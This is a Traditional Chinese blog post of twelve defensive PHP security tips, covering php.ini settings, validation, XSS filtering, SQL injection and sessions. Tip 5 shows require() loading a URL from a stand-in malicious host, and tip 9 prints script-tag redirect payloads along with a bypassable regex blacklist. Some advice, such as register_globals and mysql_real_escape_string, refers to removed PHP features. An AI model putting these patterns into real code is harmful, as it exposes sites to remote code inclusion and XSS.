12個PHP安全開發技巧

12個PHP安全開發技巧

Image result for php security

1. 設定環境變數php.ini

  • 設定 register_globals = off : 主要是避免 PHP 的變數內容被任意修改或是藉由其他輸入被修改, 產生不預期的結果
  • 設定 session.use_only_cookies= 1: 這樣設定的目的主要避免  session ID可以任意從 $_GET取得
  • 設定 session.cookie_httponly =1: 這個設定的目的主要在於防止 cookie可以被 JavaScript 讀取, 避免讓黑客透過 XSS 的方式竊取 Cookie
  • 設定 display_errors = 0 主要目的是避免顯示過多的Web服務錯誤訊息讓黑客知道服務器內部邏輯的運作方式

[pastacode lang=”markup” manual=”register_globals%20%3D%20off%3B%0Asession.use_only_cookies%20%3D%201%3B%0Asession.cookie_httponly%20%3D%201%3B%0Adisplay_errors%20%3D%200%3B” message=”” highlight=”” provider=”manual”/]

2. 所有輸入參數都必須驗證

PHP 中常見的使用者輸入變數如下:

  • $_GET
  • $_POST
  • $_SERVER
  • $_FILES
  • $_REQUEST
  • $_ENV
  • $_SESSION
  • $_COOKIE

因此所有的資料輸入都必須經過字元檢查過濾, 例如特殊字元檢查, url合法字元檢查, EMAIL 合法字元檢查等

PHP 提供相關檢查的機制參考:

http://php.net/manual/en/filter.filters.validate.php

http://php.net/manual/en/filter.filters.sanitize.php

3.  避免使用EVAL()  exec()   shell_exec()

使用這些函數容易導致命令注入的攻擊

 

4. 避免使用Cookie儲存敏感性資訊

Cookie 由於是儲存在用戶端瀏覽器, 因此如果用來儲存個人資訊容易導致資料外洩

Cookie 保持使用在暫時性驗證使用者的session ID

 

5. 不要直接使用使用者輸入參數當為Path

這種情況特別在於使用  include() 與require()的情況下, 需要定義路徑時

舉例來說, 當 URL include 為開放性的時候, 黑客可能會輸入一個惡意網址

[pastacode lang=”markup” manual=”%3C%3Fphp%0A%0A%24user_input%20%3D%20’http%3A%2F%2Fwww.malicious.com%2Fevil.php’%3B%0Arequire(%24user_input)%3B%0A%3F%3E” message=”” highlight=”” provider=”manual”/]

另外, PHP.ini建議設定

[pastacode lang=”markup” manual=”allow_url_fopen%20%20%3D%200%0A%0Aallow_url_include%20%3D%200%20″ message=”” highlight=”” provider=”manual”/]

 

http://php.net/manual/en/filesystem.configuration.php

6. 區分敏感性數據儲存路徑

一般來說網站公開的瀏覽資訊會被存放在  public_html, httpdocs, www 等路徑

但是對於敏感性資訊, 可另外儲存在私有路徑下  /var/usr/includes/

7. isset() vs empty() vs is_null()

isset() Determine if a variable is set and is not NULL It returns true only when the variable is not null.
empty() Determine whether a variable is empty it will return true if the variable is an empty string, false, array(), NULL, “0?, 0, and an unset variable.
is_null() Finds whether a variable is NULL it returns true only when the variable is null

多半的情況下, 我們會使用 isset()來判斷參數的輸入是否有值而且不是 null.

特別要注意的是 isset() 對於空白字元的參數輸入, 也是視為有效的輸入字元.  可以另外參考下列方式驗證輸入

  • if ( $var )
  • if ( !empty( $var ) )
  • if ( $var != ” )
  • if ( strlen( $var) != 0 )
  • If ( isset( $var ) )  無法驗證空白字元
  • if ( is_string( $var ) ) 僅用在字串, 不適用於數字

8. SANITIZE 特殊字元

資料的輸入都並需經過 Validate 與 Sanitize 的方式處理

例如對於 HTML, URL, Email 等, 進行非法字元的移除與編碼的處理

http://www.php.net/manual/en/filter.filters.sanitize.php

 

 

9. 移除 HTML Tag

為避免網頁被任意竄改或是XSS注入, 可以利用PHP提供的函數 STRIP_TAGS()將輸入參數中的Tag移除

例如:  <script>location.href=\‘MaliciousSite\;</script>
經過移除之後變成: location.href=\‘MaliciousSite\;

[pastacode lang=”markup” manual=”%3C%3Fphp%0A%24unsafeData%20%3D%20’%3Cscript%3EMalicious.href%3D%5C’mysite%5C’%3B%3C%2Fscript%3E’%3B%0A%24afterStrip%20%3D%20strip_tags(%24unsafeData)%3B%0Aecho%20%24afterStrip%3B%0A%2F%2F%20the%20result%20of%20echo%3A%20%20Malicious.href%3D%5C’mysite%5C’%3B%0A%3F%3E” message=”” highlight=”” provider=”manual”/]

另外使用  HTMLENTITIES()將所有的 <與>進行編碼

[pastacode lang=”markup” manual=”%3C%3Fphp%0A%24unsafeData%20%3D%20’%3Cscript%3Elocation.href%3D%5C’mysite%5C’%3B%3C%2Fscript%3E’%3B%0A%24new%20%3D%20htmlentities(%24unsafeData)%3B%0Aecho%20%24new%3B%0A%2F%2F%20echos%20out%0A%2F%2F%20%26lt%3Bscript%26gt%3Blocation.href%3D’mysite’%3B%26lt%3B%2Fscript%26gt%3B%0A%3F%3E” message=”” highlight=”” provider=”manual”/]

使用字元黑名單也是一種方式, 但是這種方式存在許多未知風險, 建議以 strip_tags()與HTMLEntities方式為主, 黑名單方式為輔

使用preg_replace 的方式一個缺點是大小寫, 黑客可以很容易的透過大小寫的方式就繞過檢查

[pastacode lang=”markup” manual=”%3C%3Fphp%0A%24blacklist%20%3D%20array(‘%2F%3C%5C%2F%3Fscript%5B%5E%3E%5D*%3E%2F’)%3B%0A%24unsafeData%20%3D%20’%3Cscript%3Elocation.href%3D%5C’mysite%5C’%3B%3C%2Fscript%3E’%3B%0A%24new%20%3D%20preg_replace(%24blacklist%2C%20”%2C%20%24unsafeData)%3B%0Aecho%20%24new%3B%0A%2F%2F%20echos%20out%20%22location.href%3D’mysite’%3B%22%0A%3F%3E” message=”” highlight=”” provider=”manual”/]

10. SQL injection

對於Mysql 的處理, 使用 mysql_real_escape_string()

另外建議使用PHP 提供 PDO Data Object的方式處理資料庫資料,

http://www.php.net/manual/en/book.pdo.php

11.數據加密  crypt()

使用PHP 加密處理時, 必須注意

  • 使用強加密算法
  • 使用 Salt進行 Hash

12. Session 管理

SessionID避免不斷的重複使用之外, 當使用者狀態有更改重新登入的時候, 使用session_regenerate_id()產生新的 session ID,

[pastacode lang=”markup” manual=”%3C%3Fphp%0A%2F%2F%20regenerate%20session%20on%20successful%20login%0Aif%20(%20!empty(%20%24_POST%5B’password’%5D%20)%20%26%26%20%24_POST%5B’password’%5D%20%3D%3D%3D%20%24password%20)%20%7B%0A%2F%2F%20if%20authenticated%2C%20generate%20a%20new%20random%20session%20ID%0Asession_regenerate_id()%3B%0A%2F%2F%20set%20session%20to%20authenticated%0A%24_SESSION%5B’auth’%5D%20%3D%20TRUE%3B%0A%2F%2F%20redirect%20to%20make%20the%20new%20session%20ID%20live%0Aheader(%20’Location%3A%20’%20.%20%24_SERVER%5B’SCRIPT_NAME’%5D%20)%3B%0A%7D%0A%2F%2F%20take%20some%20action%0A%3F%3E” message=”” highlight=”” provider=”manual”/]

Session超時管理, PHP 對於 Session會話的超時定義有兩種方式

session.gc_maxlifetime

session.cookie_lifetime

預設值default 1440 seconds 預設值 0
當使用者登入之後, 沒有動作

1440秒之後該會話就會自動失效

0:表適當瀏覽器關閉時就會失效

這個設定值為絕對值, 不管使用者是否有動作

 

其他參考 PHP Security

http://php.net/manual/en/security.php

 

Leave a Reply

Your email address will not be published. Required fields are marked *